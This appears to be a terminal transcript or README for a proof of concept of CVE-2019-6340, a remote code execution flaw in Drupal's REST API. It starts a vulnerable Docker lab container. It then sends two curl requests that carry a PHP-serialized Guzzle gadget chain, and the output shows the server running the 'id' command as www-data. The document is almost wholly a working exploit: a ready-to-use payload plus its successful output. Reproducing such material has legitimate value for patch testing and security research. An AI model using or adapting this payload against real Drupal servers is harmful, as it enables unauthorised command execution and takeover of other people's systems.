$ docker run --rm -p 8080:80 knqyf263/cve-2019-6340

$ curl -XGET -H "Content-Type: application/hal+json" "http://localhost:8080/node/1?_format=hal_json" -d '
{
  "link": [
    {
      "value": "link",
      "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
    }
  ],
  "_links": {
    "type": {
      "href": "http://localhost:8080/rest/type/shortcut/default"
    }
  }
}'

{...}uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ curl -XPOST -H "Content-Type: application/hal+json" "http://localhost:8080/node/?_format=hal_json" -d '
{
  "link": [
    {
      "value": "link",
      "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
    }
  ],
  "_links": {
    "type": {
      "href": "http://localhost:8080/rest/type/shortcut/default"
    }
  }
}'

{"message":"The shortcut set must be the currently displayed set for the user and the user must have \u0027access shortcuts\u0027 AND \u0027customize shortcut links\u0027 permissions."}uid=33(www-data) gid=33(www-data) groups=33(www-data)